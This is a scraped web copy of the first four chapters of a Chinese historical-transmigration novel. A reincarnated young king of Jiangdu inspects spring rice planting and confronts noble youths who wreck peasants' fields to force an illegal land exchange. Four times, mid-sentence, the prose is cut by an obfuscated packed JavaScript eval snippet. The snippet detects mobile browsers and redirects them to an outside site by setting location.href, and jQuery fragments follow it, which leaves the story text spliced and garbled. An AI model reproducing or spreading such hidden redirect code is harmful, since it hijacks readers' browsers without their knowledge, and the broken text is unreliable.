《成为诸侯王之后》 1. 第 1 章 江都的三月是雨季,从进入三月开始,雨就淅淅沥沥地下着,天空一直蒙了一层连绵的阴云,更像是漏了无数个小洞洞的筛子,雨水趁着间隙就从洞洞里落了下来。 出了二月,寒潮退去,气温开始回暖。到了三月下旬,人们逐渐脱去厚重的冬衣,换上了稍微轻薄的春装,将精力更多的投入到生计营生之中去。商人开始为不久后的远行走商做准备,工匠们将自己赖以谋生的工具修理修缮一番后出门接活,乡里的农人扛着农具、驱使耕牛下地,栽种庄稼。 今日的雨是轻轻柔柔地往下飘落的,辛勤的农人一大早戴着蓑衣斗笠就出来干活了。此时正值正午,正是一日之内气温最高的时候,雨也不飘了,农人家里人送饭过来,许多人脱了斗笠蓑衣,坐在田埂上吃饭。 这里是一大片肥沃的水田。放眼望去,成片成片的水田纵横相连,像极了渔夫挂了水的渔网,足足有上百亩,是名副其实的百亩良田。 现在这张“渔网”之上,成百上千的人散落在上面,又有犁田的耕牛夹杂其中,一派勃勃生机的热闹景象。 “这般美景,可惜没有将画师带来。”某一处田埂上,一名十六七岁的俊秀少年感慨道。他的衣袖裤脚都被卷高,衣摆也塞到了腰带里,手上和脚上都有未干的泥巴。 “你要是不嫌弃,让我画上一张。”少年身边一名二十来岁上下的青年笑嘻嘻提议道,很是跃跃欲试,他可是把画具带来了的。 少年很嫌弃,撇嘴,“栋表哥,就你那画技,别到最后画出来张热锅蚂蚁行军图。” “怎么会!上个月柳公回信说我的画技已经有进步了,期盼我继续钻研,再创佳作。”崔栋觉得自己让表弟的形容伤了心了,为了证明自己的画技没有那么糟糕,拿出了有力的论证——当世名家的亲笔赏识。 少年也就是百里漾听到崔栋拿“柳公”出来说事,沉默了有好一会儿,然后选择不与他继续掰扯这个问题。 因为他觉得柳公着实是个可怜人。 柳公,全名柳善逸,当世著名大画家之一,那是画界的泰山北斗级人物,知道他的都要敬称一声“柳公”。此人现供职于上书苑御画馆,任馆正,正四品,以前专门为皇帝一人作画。百里漾以前见过他,成日乐呵呵的一个快乐小老头,画画使他快乐。可专为皇帝一人作画过于单一和局限,日子久了,画画几乎没了灵感,他深觉不行,后来跑去向皇帝陈情,请求辞职不干,要遍览大好山河追求灵感。 皇帝很欣赏他的才华,听他这么说觉得问题确实有些严重了,可没有准他的辞职申请,而是在次日下了一道旨,任命他为六品“山水郎”,这个官职是皇帝独创的,看官职名就大概猜出它主要是干啥的,而且还是兼职,之前的馆正也给他任着。 柳公一身兼两职领双份薪水,不用定点定时打卡上班,还能公费旅游,顿时欢天喜地、喜不自胜,对皇帝感恩戴德,然后欢欢喜喜地收拾行装去游山玩水了,时不时做出点“成绩”来献给皇帝,一直到现在,哪怕皇帝都换一个人当了。 哦,忘了说了,那位惜才爱才的伯乐皇帝是百里漾的亲爷爷,十二年前已经崩逝,庙号高/祖,而现在龙椅上坐的则是百里漾的亲爹百里纵。 “栋表哥”全名崔栋,是皇后崔氏长兄崔大将军的儿子。这货从小就长得头大身子胖,一副看起来不大聪明的样子。上学课业成绩从来都是最差的那个,一手字写得像好几条毛毛虫扭在了一起,着实有些伤眼,还堵授课师傅们的心。 文不行幸好还有武可以凑。 崔栋似乎天生是做将军的料子,十二岁出头的时候已经能拿着一杆长木仓撂翻百夫长了,到了十七岁时更是不得了,那一身的本事当个千夫长都绰绰有余了。他从小就和百里漾一起长大,在百里漾就藩江都的时候,更是主动请求随从,现在领着江都国一个都尉的官职。 这货文化水平有限,偏偏喜欢画画,只是他实在没那文艺细胞,跟文艺沾边的东西通通与他无缘。可崔栋不信邪呀,又有莫名其妙的大毅力,每天画画与习武是在同等地位的。上一年柳公采风写生到江都,被一群泼皮无赖缠上,崔栋偶遇并出手搭救,因此结识。那一段时间崔栋经常拿着自己的“大作”去找柳公指教,百里漾至今还记得柳公见到画时那不断抽搐的眼角。 出于涵养以及感谢崔栋的出手解围,又看到崔栋虽然人菜可进取心值得表扬,于是柳公把话说得委婉了一点,“诶呀呀,画技虽看来尚稚嫩粗浅,可还有进步空间的,小伙子要继续努力呀”云云。 柳公那时根本不知道自己的一番话给自己招了多大的麻烦。百里漾想,柳公现在应该恨不得抽那时的自己两个大嘴巴子吧。 崔栋喜获名师“指导”,可算是彻底缠上柳公了,每有“大作”就找他指教,人被他的“热情”吓得跑出江都的地界了就问地址寄过去,偏偏还不好拒绝,估计柳公现在一接到崔栋的信就想掩袖哭泣。 但这是崔栋的小爱好,百里漾也不好过多的打击,但长记性的他绝不在此类话题上与崔栋有过多的展开,否则最后受不了的就是自己了。 柳公的前车之鉴不远啊。 回归正题,今日他们是有正事到此的。所谓“一年之计在于春”,江都水土富饶,每年的作物产量很是可观,赋税占了很大的一部分比重,老百姓也靠着收成过日子,故此江都上上下下对春种都很重视。 去年朝廷新设“劝农司”,又令诸侯国置“劝农使”督导农事生产。百里漾身为江都王,深知粮食的重要性,又恰逢近来需要他处理的事务不多,心血来潮之下,带着崔栋和二十名甲士随从,出了城往郊外看看各处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736823|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春种的情况。 田间耕种的百姓远远的看见一队人鲜衣怒马而来,扎根在骨子里的尊卑观念让他们就地跪在了田里。 百里漾不太喜欢这种场面,他也不是来打扰人家干活的。于是下马就近扶起了一名老翁,说自己是劝农使,来看看春种情况的。他待人实在是亲切,哪怕穿着富贵、锦衣宝马,一看就出身不凡,可他没有架子,性情随和,与人交谈随意,很容易就让人忘了他的身份。更重要的是,百里漾还下田插秧,不懂还谦虚请教老翁,一下子就把距离拉进了。 现在是午间休息吃饭的时间,各家各户都有人来送饭给地里干活的人,大多是老妇人带着家里的女儿、儿媳妇。百里漾这一群人在这田间地头里实在是显眼,哪怕他们下田干活甩得一身的泥浆,可那样貌体格就是与这些人不一样,路过的小姑娘、小媳妇都要偷偷看他们好几眼。 “公子若不嫌弃老朽家中寒酸,可尝尝内子做的饭菜。”教百里漾等人插秧的老翁走了过来,手里领着竹编的食盒,打开盖子,里面是还冒着热气的饭菜,还有一壶小酒。 “好香,听您说过阿婆做饭的手艺一绝,小子厚着脸皮可要尝尝。”百里漾当然不会拒绝老翁的一片好意,并招呼崔栋过来一起吃。 “有好吃的?来了来了。”崔栋赶紧跑过来,并向老翁夫妻俩道谢。 食盒里的饭菜看起来粗糙,香味飘出来勾得人馋虫都出来了。而且,看这份量,显然是多准备的,里面还有不少鱼和肉。寻常人家平日里自己做饭哪里会有那么多大鱼大肉,这是招待贵客的标准,而贵客自然就是百里漾和崔栋了。 百里漾和崔栋没有那么多的讲究,与老翁一家四口蹲在田埂上吃饭。普通人家没有食不言寝不语的规矩,边吃就边聊上了,主要是老翁与百里漾和崔栋在说话。 老翁说:“现在日子比以前好了很多,多亏了陛下平定战乱,大家不用流离失所,朝廷还给每人都分了田地,我们这些人才能过上安稳的好日子。” 这老翁有六十岁了,头发已经花白,面容上尽是岁月留下来的沧桑,右脸侧还有一道颇显狰狞的刀伤。他这年纪,前半生还活在前朝的统治之下,后半生的前十几年经历的都是战乱。他说他一家为了躲避饥荒战乱,逃去了很多地方,曾经遇到过匪军劫掠,头前生的三个儿子被抓去上了战场就再也没有回来过,只剩下一个小儿子。他的父母早就在饥荒里饿死了,他脸上的那道疤痕也是因为别人抢食物他反抗之下被人用刀划的。 百里漾看着笑呵呵的老翁,在老翁的身上只看到了乐天知命的安然知足,他受的那些苦难似乎只能给他的躯体造成伤害,并没有摧垮他的精神,那是一种千帆过尽的释然。没有人能够切身体会老翁经历了那些不幸的感受,百里漾也不能,他觉得老翁是一个令人敬佩的人。 2. 第 2 章 他们这次不是来游玩的。百里漾身为江都王,他希望了解自己封国之内子民是否安居乐业,但这又涉及到方方面面。江都王位高而孤寡,有些事情他只听别人说远不如自己去亲身了解的真实。眼前这个老翁就是一个很好的询问对象。 百里漾就是随便聊聊,日常的柴米油盐酱醋茶都会扯到,崔栋时不时在旁边帮一句腔。这俩表兄弟捧着碗在田埂上蹲着,边说边笑眼睛笑得都眯起来,没多久就把自己想知道的了解得差不多了。 寻常人家的日子过得好不好就看赋税、徭役以及摊派的情况怎样。如今天下初定不久,十几年战乱留下来的阴影还没有消弭,国家与人民皆需休养生息,赋税、徭役不宜过度。先帝平定天下,定下十五税一的田赋;到了当今兴业四年时,改为三十税一。徭役也尽可能的少,摊派基本是没有的。 朝廷策令是如此,并不代表就可以全然放下心了。大衍朝疆域广大,人口众多,一道旨令要执行下去,中间不知道要经过多少部衙和人手,但凡中间有个小环节不对,再往下就可能彻底歪了,还要防止心怀不轨的人搅在里面浑水摸鱼。 但看老翁的言语是轻松的,眉眼间也是一派安然,就知道他的那些话都是真的,日子过得是挺不错的。 百里漾稍稍安心了些。 用过了午饭,又休息了一下,大家陆陆续续又下田干活了。 今日本是个阴天,到了正午的时候,灰色的云层不知何时散开,太阳一点点透了出来,露出大半身形,金色的阳光刺穿云层,洒向人间。拨云见日,暖融的阳光落在身上,叫人心情舒畅,干活都更有劲了。 “五郎,我们该回去了。”崔栋凑近说道。 此地距王城颇有一段距离,再不回去怕是赶不及回去。 百里漾看了看天色,又看了看水田里嫩青色的秧苗,心情颇好,一指面前已经插了大半秧苗的田说道:“把这块田插完,我们就回去。” “也行。”崔栋估摸了下,按照他们的速度,再有半个时辰就能将秧插完了。 “上一回踩泥里,还是好几年前了。”膝盖以下一半都陷在泥水里,崔栋手里拿着一把秧,边栽边感慨道。 “你这回倒是比以往长进了,总算没有摔倒田里去了。”百里漾一边笑话崔栋之前的糗事,一边往他身上甩了一把水。 “十几年前老黄历的事了,你怎么还拿出来说。”崔栋也不客气回甩一把水给百里漾。他也是纳闷了,那会儿百里漾才四岁,怎么把他的糗事记得那么清楚。他自己就记不得四岁时候的事情了。 两人能够拥有插秧的经历还是因为高/祖皇帝。他老人家出身平平,年轻的时候很是吃过一番苦,也给农庄主当过麦客,知道生活不易。登极之后,生活亦尽量过得简朴。老爷子极为重视农桑,甚至为了提醒自己以及子孙不能忘本,防止子孙后代养成骄奢淫逸的性子,自己每年都要过问种稻亲耕不说,还让宗室、王公贵族随他一起下田插秧。 泰始十二年,那是老爷子在位的最后一年。年初时他的身体已见不大好了,大家都劝他多休养,可他依旧坚持参加了那年的种稻亲耕。那也是百里漾第一次参加种稻亲蚕,而崔栋在此前已参加过一次了。那次他不知道怎么搞的,一门心思跟在耕田的那头黄牛背后研究人家的尾巴,还试图去拽,结果人家一甩尾巴,他不知道怎么回事就栽到田里了,还是头朝下的那种姿势,弄得大家伙直接捧腹大笑,同龄的更是笑得腰都直不起来了。 “……反正我就是记着了。” 一般人不会记得三四岁的事情,可百里漾不一样,他总不能告诉崔栋自己是胎穿过来的吧。那次种稻亲耕,崔栋一跟着牛尾巴走,自己觉得奇怪就盯着了,然后差点就笑不活了。 “……”崔栋拿百里漾没办法,这糗事估计这辈子都过不去了,只好更卖力地插秧把气出出去。 正专心插秧的时候,百里漾与崔栋齐头并进,眼看着视野里已经出现了田埂,后头突然传来一阵吵闹声。 “怎么回事?”崔栋扭头去看。他们带来的甲士已经从迅速周围聚集到百里漾身边,呈现保护的姿态。而百里漾看着不远处发生的事情,脸色已经沉下来了。 不知道从哪里跑来一群衣着富贵的纨绔子弟,纵马在水田上来回奔跑,铁蹄肆意地糟蹋刚栽下去的秧苗。这些秧苗脆弱,几下就被霍霍得一团糟乱,怕是很难成活了。 寻常人家一年的收成就指着这点秧苗了,这下毁了心都在滴血。有青壮上前去阻拦,马上的人直接纵马行凶,有躲闪不及的被一蹄子踢开,落入水田里生死不知。那些纨绔子弟见有人胆敢反抗,怒骂声不断,又挥出马鞭抽打,落在人身上,当场皮开肉绽,血淋淋一片。 场面混乱,哭喊声连成一片。 眼见那些纨绔子弟嚣张跋扈,出手凶狠,已经有人受伤了,一时间竟无人敢拦了。只是纨绔子弟们犹觉不尽兴,控马扩大了踩踏的范围,还有两人径直朝着百里漾等人所在的地方冲撞过来。 护卫的人当即请百里漾避让。怒火中烧的百里漾咬着后槽牙冷声下令道:“把他们全给我踹下来。” 跟着百里漾出来的包括崔栋在江都是王廷亲卫军,俱是百里挑一的勇士。当即就有四人领命上前,拽着两个粗/壮的麻绳绊住横冲直撞的马脚,两声马嘶鸣后,马上之人飞冲而出,砸进了水田里。 这一变故惊住了所有人。其余马背上的人出奇地愤怒了,骑着马杀气腾腾冲过来,看架势是要仗着人多马多踹翻他们一群人了。 只能说,勇气可嘉。 崔栋冷哼一声,手里拿着把农家翻土的铁杆农具,对着最先猛冲过来的马腿狠力一击,这一击可不得了,那人连人带马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736824|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻进了水田里。他可是经常被夸赞“勇武过人”的猛士,对付这些绣花枕头还不是手到擒来。 七八匹马加人全都被如法炮制的撂翻进水田里,这下哀嚎的人成了他们。这一跤摔得不可谓不重。不过水田里有泥有水,减缓了部分冲力,让这些纨绔不至于真的摔死,但自己是爬不起来了。 “哪里来的狗东西,胆敢行凶伤人?留下名来,回头定饶不了你们。”有个别侥幸摔得不重的,从泥水里艰难爬起来对着百里漾他们叫嚣放狠话。但看对方二十来个壮汉对着他们怒目而视,胆先怯了。他们也知道看情势,对方人多势众,这局面显然不利他们,先离开再图谋以后。 这些纨绔子弟从泥水里爬起来相互搀扶着离开,临走前有好几个目光凶狠、一脸不善地盯着百里漾和崔栋他们,看来是要牢牢记住他们的脸,以待日后报复。 崔栋才不怕这些纨绔草包,作势要追上去再痛打他们一顿,吓得这群草包们腿脚都利索了好多,爬上马跑了。 崔栋道:“有几个挺眼熟的,像是褚氏出来的人。” 那些人认不出百里漾和崔栋,他们平日里也没有什么机会能凑到百里漾跟前。崔栋还好一些,他领着江都国都尉的官职,经常在王府里外跑动,这些世家大族的膏粱子弟也是见过不少的,但这些纨绔子弟显然没有认出他。 百里漾看向崔栋,崔栋冷笑道:“领头的那个是褚之彦的三儿子褚宗铉。” “这事先记着。”百里漾撇下一句话。 人跑了,好好的水田被糟蹋得不成样子,还有一地的伤残,哭嚎声不断。方才气急了敢上前阻拦的大多是青壮,都是各家的重要劳动力,这下伤了残了对各家俱是一个巨大的打击。还有田里的秧苗。农家每年留存的谷本种子都是有数的,甚至有些人家是去借贷得来的种子,秧苗毁了就是真的没了,今年的收成要如何保障? “叫当地的里正去请大夫。”百里漾看着眼前这一幕,深吸一口气压住胸腔里翻腾的怒气,“新的种子和秧苗让里正重新采买后再分发给这些受损的人家,采买的本钱和药费从内库里出。” “诺。”崔栋正色抱拳应道。这时候去采买种子和秧苗须得价高才得,还有给这些受损的人家的赔偿。“这钱后面必要找那些人讨要。” 他都想好了,必然得让那些人狠狠出一波血才行。 “公子,你们没事吧?”老翁踉跄着上前关心道。 “无事。”百里漾温言安抚了一下受惊的老翁一家,又看到下脚的地方一片狼藉。这块水田是老翁家的,也平白遭受了无妄之灾。 “公子,那些人可不是好惹的啊。”老翁脸上满是忧惧,担心那些纨绔子弟回来报复。 “他们以前也这么来闹过?”百里漾眉头皱得更深了,他从老翁的神色中看出来了,那些纨绔子弟不是第一次来了。 3. 第 3 章 还没等老翁回答,他的小儿子就忿忿不平道:“上回春耕他们就来了,打死了包括大柱家在内的好几头牛,大柱都被他们用鞭子打伤了,躺了将近半个月才能勉强下地。” “虎子!”老翁呵斥了一声小儿子,“公子面前不得放肆。” 小儿子不服气,尤其是在看到自家的秧苗也被糟蹋得难以成活后,怒气更重,“本来就是。他们想要这一片的地,大家不肯,就用这种下作手段逼迫我们就范。” 他心里其实是有想法的。他觉得这位公子身边有那么多的人护卫,性子又好,最重要的是敢与那些人动手,还把他们打得那么惨,应该是不惧那些人的,说不定身份地位还要尊贵。把这些日子他们受的苦和罪说出来,这位公子说不得能为他们做主。 百里漾听罢目光瞬间如寒刃,骇得老翁家的小儿子后撤一步,他问道:“他们想要买田?!朝廷授田未满五十年不准买卖,他们竟敢罔顾朝廷法令、强买强卖?” 他态度如此冷厉自是有缘由的。 前朝哀帝末年,帝室衰微,权臣奸佞把控政权,相互攻讦夺权致使朝局混乱,又赶上天灾不断,使得前朝这座巍然大厦摇摇欲坠,呈现出一股大厦将倾的颓势。之后十九岁的哀帝被毒害身亡,彻底点燃了战火。各地高举义旗,打着为哀帝报仇的旗号攻入都城杀死了权臣奸佞。可皇位只有一个,攻入都城的势力那么多,大家都想当皇帝,只能再次相互打起来。随后天下便因此陷入了十几年的战乱之中,最后是百里氏异军突起夺取了天下,建立了新朝——大衍。 十几年的战乱打得天下人口锐减。新朝初立,为了稳定各方,恢复生产,朝廷颁布了“复故园田宅令”、“授田令”等法令,令平民百姓及部分将士回归故园或就地安置,给予没有土地的百姓田地,并制定了“朝廷授田未满五十年不得买卖”的律令以及相应措施。 律令颁布的时候百里漾还没有出生,但他深知这一条律令是为了什么,买卖授田的口子绝对不能开。可是他没有想到,在他的封国内,竟然有人在谋划这事,还用上了卑劣手段。 “他们说是换,用另外的田地易换这处的水田。”老翁家的小儿子被百里漾突然爆发的威势震慑住了,他想起来眼前的这位公子是出身高贵的贵人,之前的胆气全没了,变得怯声弱气,可还是鼓足勇气继续说下去。 “换?”崔栋瞪着眼,冷笑道。用脚趾头想都想得出来他们所谓的交换并不公平,必然是用次等的田地来换这处上等的水田,甚至为了表明是换而不是买卖,连补偿差异的价款都不会给一个铜子,否则就不会有今日这一出了。 此时,此地的里正带着三名大夫到达这里。他让大夫去救治受伤的人,自己过来拜见百里漾。 “易换田地的事情,你是否知晓?”百里漾直接问道。 在大衍朝,里正不是严格意义上的官职,没有品级,只能算是不入流,可又切切实实管着一里之地的事务,也算是官了。 此地的里正四十来岁,面容黝黑,身板壮实,手上有厚厚的茧子,看来平时没少干农活。他比老翁一家更有眼色,脑筋转的更快些,想事情要更深。他意识到跟前这位气度不凡的年轻公子怕是大有来头,之前又毫无顾忌打跑了那些人,现在一照面直接就问换地的事…… 这说明他们有救了,这位年轻公子会管这件事,而且是站在他们这边的。 “回公子的话。确有此事。两月前便有城中大府管事上门,说是要换地。可、可用来置换的土地实在太差劲了,那些田地的人家当然是不愿意的。当时那管事没说什么就离开了。”里正说话还是有几分谨慎的,“春耕时,来了一群来踏青的公子们,被一头老黄牛冲撞到了,然后便动了手,伤了几个人。” 他也没说前后的事情有什么联系,只是单纯的陈述而已,说完便垂首立着等待百里漾的指示。但头低下去后,神色间不免出现了忐忑。 百里漾面无表情,说自己知道了,又告诉里正给受伤的人医治不必吝惜钱财,也不要耽误了春种,损失的银钱后面会有人送来。 里正突然就心安了,连忙应下来。又听见眼前这个一看就贵不可言的公子说要给他们补偿,当即一脸激动地跪地感谢。 “行了,时候不早了,我们也该回去了。”里正在这,这里的事情便交给他处理了。出了这么一件事,耽误了不少时间,百里漾他们也该回去了。 眼看着一群人骑马远去的身影,老翁家的小儿子凑到里正面前问:“三叔,您知道那位公子他们是什么来头么?我站在那公子面前,话都不敢说。” 他们都是一支族上的,叫声“叔”也没错。 里正觑着这个大侄子,心想:还不敢说话,我看你敢说得很,自己才是差点连话都说不出来。不过腹诽归腹诽,他看这个大侄子更顺眼了,比自家儿子强多了,值得培养一下。 “三叔?” “别问那么多,总之是我们得罪不起的贵人就是了。”里正斥道。其实他也不知道人家是哪路贵人,他们只是一般的平头百姓,比他们贵的人太多了。 “那换地的事是不是有救了?”小儿子压低声音问道。 他又不傻,那些人之前来说是只换大柱他们家的田地,可这一大片水田都是连在一起的,依着那些富贵老爷的贪婪性子,前面的换成功了,会放过剩下的水田不要?他们是一万个不情愿,可他也知道,他们对上那些有权有势的就是蚂蚁去拧大象腿,不想家破人亡,最后只能妥协。 里正也有田地在这一块,大家现在是被架到了同一堆火上,谁也不想掉到火坑里。只是,这事他们这些小老百姓哪里说得准,唯有叹气,“只有多求祖宗保佑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736825|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这一叹叫人的心又沉甸甸地坠下了河底。 百里漾一行人赶在天黑闭城前回到了王城。天色已晚,他们也算来回奔波了一日,百里漾令他们各自下去休息。崔栋的主要职责是护卫江都王,他亦是住在王廷里,且住处离百里漾很近,有时候甚至在侧殿就睡下了。 眼下他们一身尘土,各自下去沐浴了。 “柳姑姑,今日可有状况发生?”百里漾寝衣外还披了一件外袍,擦拭头发后向内史令问道。 内史令,相当于王廷大管家。江都王廷的内史令是女官,年有四十,姓柳名枝,名字是当今皇后所赐。百里漾就封时,皇后崔氏让她跟着,做了王廷的大管家。 百里漾今日算是“偷溜”出去,不想被那些廷臣们知道,故而有此一问。只消没有上门非要见他而他还不得不见的人,江都王今日就没出过门。 “您之前放出话说要在静心读书一日,无人敢来打扰。”也就是没有人上门来找。 那就好办了。百里漾当即叫来崔栋,“今日遇到的事你去查一查,看看到底是哪家在暗中生事?” “我马上着人去办。”崔栋是靠谱的人,他知道这事要紧,拿住了把柄说不定可以趁机整治那些豪强士族,他以拳击掌,“两日后便是廷会,若是可以,正好打他们一个措手不及。” 百里漾想着遇到的那些士族子弟,搞不好换田这事是他们私底下自作主张。他问:“褚宗铉此人平日如何?” 因为身份问题,他不可能与江都的这些二代、三代们混在一起,自然也就对他们不甚了解,但没关系,他有崔栋。崔栋对这群子弟们颇有了解。 崔栋面有嫌弃,“那厮号称怀郡小霸王,在整个江都的士族子弟圈里名声响亮的很,素爱斗鸡走狗,更是勾栏欢场里的常客。据说每次找不叫人,褚氏家仆往那里去找,十趟有九趟能见着人。” 这还真是一个名副其实的纨绔子弟。 百里漾以前没有研究过底下臣子的子嗣情况,对褚之彦竟然生出这么个纨绔子弟颇有些意外,“褚氏也任由家族中出这么个子弟败坏名声?”褚之彦竟然没打死这个儿子。 “嫡出的小儿子,家中老太太且心疼着呢。” 懂了,老太太护着,可劲地宠,褚之彦就算想教训儿子,人往老太太身后一钻,那棒子还能落下去?总不能打老娘吧。 突然被问这个,崔栋不算傻很快琢磨过味来了,“你觉得换田这事是那些纨绔子弟自作主张?” “不然呢?朝廷的律令才颁布多久,褚氏有这么蠢着急的想做第一个试刀的?” 土地是最大的资源,此前乱世时豪强能够称霸一方就是因为占有了当地百分之九十以上的土地资源,进而将依附在上面人口占据。人和地都是他们的了,自然就可以据有一地称王称霸了。 4. 第 4 章 百里氏当年立业的时候,基本上将不肯归附的豪强士族犁了一遍,剩下的就是愿意臣服且还算乖顺的。可高/祖皇帝担心这些豪强士族会卷土重来,但剩下的是降了的,没有名目动刀子只怕于社稷不稳。各种考虑之后,想了一些防止他们再次做大的法子,禁止朝廷授田买卖便是其中重要的一条。 十多年下来,还没有哪家敢明晃晃干犯此条的。或许有蠢蠢欲动想要试探的,但褚氏却不太可能。 “也是,褚之彦没这么傻,这么傻的老丈人,定安王也不会要。”崔栋撇撇嘴,但仍有些兴奋道,“此事说不得能拿他些把柄,不能拖。”说完便匆匆告退,风风火火地走了。 百里漾眼看着他跑没影了,叫他吃完饭再走的话都没有能出口。他心想急也不急在这一时。若真如这般猜测,那褚宗铉应该是瞒着褚之彦行事的,今夜怕是不敢回家。 他猜的没有错,褚宗铉确实不敢回家。 此时怀郡最大的销金窟里,一处最上等的客房的睡榻上躺着一名十七八岁的年轻男子,脱了上衣,一身青青紫紫的,面部额头和颧骨的位置更是一片青黑,正抽着气让花楼里的头牌花娘上药。 “疼疼疼。”许是痛得很了,褚宗铉愈发暴躁,干脆对花娘怒骂出口,“贱人,你是想疼死本公子是不是?” 褚宗铉喜怒无常惯了,性情也颇为暴虐。花娘本就害怕,这下更是吓白了脸,一个手抖更是将药全洒在他身上。 “蠢货!”褚宗铉更是怒火中烧,扬起一巴掌将人打倒在地,可这动作太大痛得他一阵呲牙咧嘴、嚎叫不止的。 这番动静引来了花楼的管事,先是对褚宗铉好一阵赔笑道歉,又命人重新送药上来,扭头对地上的花娘训斥道:“不中用的玩意,能伺候褚三公子是你几辈子修来的福分,你还笨手笨脚的惹怒三公子。还不滚下去,看我后面怎么收拾你。” 花娘不敢久留,捂着脸急忙退出了房间。 “你,过来。” “三公子有何吩咐?”管事哈腰点头道。 “若有人来寻本公子……”褚宗铉居高临下睨着管事,“本公子没来过这,你明白了么?” 管事很上道,连连道:“明白明白,小的这几日根本没有见过三公子。” 打发走了管事,褚宗铉阴鸷着脸,回想自己今日吃的大亏,从来、从来没有人敢这么对他,他发誓一定要找出那伙人,杀了他们,才能将脸面和场子找回来。 褚宗铉露出阴冷的笑,扯动脸皮顿时疼得呲牙咧嘴,摸着自己脸上的伤,脸色又阴沉下来了。伤成这样他根本不敢回家,至少要等到伤痕消得差不多了才行。 半夜,百里漾从梦中惊醒,额上起了薄汗。守夜的侍人听见声音忙来问询,百里漾只说“无事”,让人不必进来。 他只是又梦见了一些“前世”之事。 所谓“前世”,可以说是他穿越之前的人生。百里漾的前世只是普通人,名字也不叫这个,性别也换了,当初出生后自己这一世的性别为男时,消化了好一段时间才接受的。 既来之,则安之。 反正也来都来了,还能回去咋滴。 如今是百里漾来到这个世上的第十七个年头,经历了不少事,他知道“前世”的自己已经死了,现在的他是百里漾,随着时间的推移,上一世的事情其实已经很少会梦到了,没想到今夜却又梦起一回了。倒不是他留恋前世,可有一段堪称离奇的经历,每每想起,心绪多少都是有些难以平复的。 心里想着事情便很难睡着了。百里漾估摸了一下时辰,不打算继续睡了。他披衣起身,坐到了书案前,从上面码好的奏疏山里摸了一本来看。 百里漾如今所处的大衍显然不是他过去所知的任何一个朝代,但这些年生活下来,他发现大衍大体相当于当初的汉朝,有那么一点点东汉的感觉,但一些地方又不尽相同。 他出生的时间是泰始八年六月初六,那时大衍第一任皇帝百里率还在位。他的父亲乃太子百里纵,母亲是出身沐郡崔氏的名门之后,在他之前育有长子百里渝、长女百里澄,他是幼子。但他的父亲并非只有他们三个孩子,还有其他的庶出子女。百里漾五岁时,皇帝驾崩,太子纵登基,成为新皇,他也水涨船高从王子成为了皇子。 皇帝阿爹待他严厉却不乏慈和,皇后阿娘更是慈爱,兄姊亦是爱护于他,百里漾对这一世的家庭亲人很是满意喜欢。他出生在湛京,在那当了七年的皇子,十二岁时被册封为江都王,就藩江都,成为一地藩王。 江都是藩国,他成为了诸侯王。国中建制大体仿照朝廷,有王廷,有官员,他这个王亦要定期坐朝听政、处理政务。 这种体验是上辈子完全没有的。 百里漾重活一世自是知道在这种受限于技术水平导致信息闭塞的时代,很多事情光看奏疏是不够的。语言是一门艺术,多个字少个字意思就很可能相差千里万里了。 这年头能提笔写字的人基本都出自豪强士族,他们写上来的东西,百里漾要是全信了,早就被底下那些心思不纯的人架空了。所以,他更喜欢自己到处走、到处看。但这也不是一件容易的事情,总有人有各种各样的理由阻止他出去,他也不得不避开一些暗中的眼线。 不知不觉时间一晃就过去了,百里漾摸奏疏摸了个空,书案上已经空了,恍然发现天光已经大亮了。接下来是洗漱、用早膳。 这里自然没有后世的牙膏牙刷之类的东西,基本上是杨柳枝蘸点盐刷了的。早膳挺简单的,后世那些五花八门的花样自然也是没有的。而且百里漾不喜欢铺张浪费,主食的粥和面点以及其他加起来不超过四种,在同等的藩王甚至是一些王国上层官员中也堪称简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736826|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朴。他当然也想吃好吃的,可是这年头调料的品种少得可怜,大部分食物吃起来味道都只能用“寡淡”来形容,甚至都没有辣椒,比前世不知道少了多少美味。 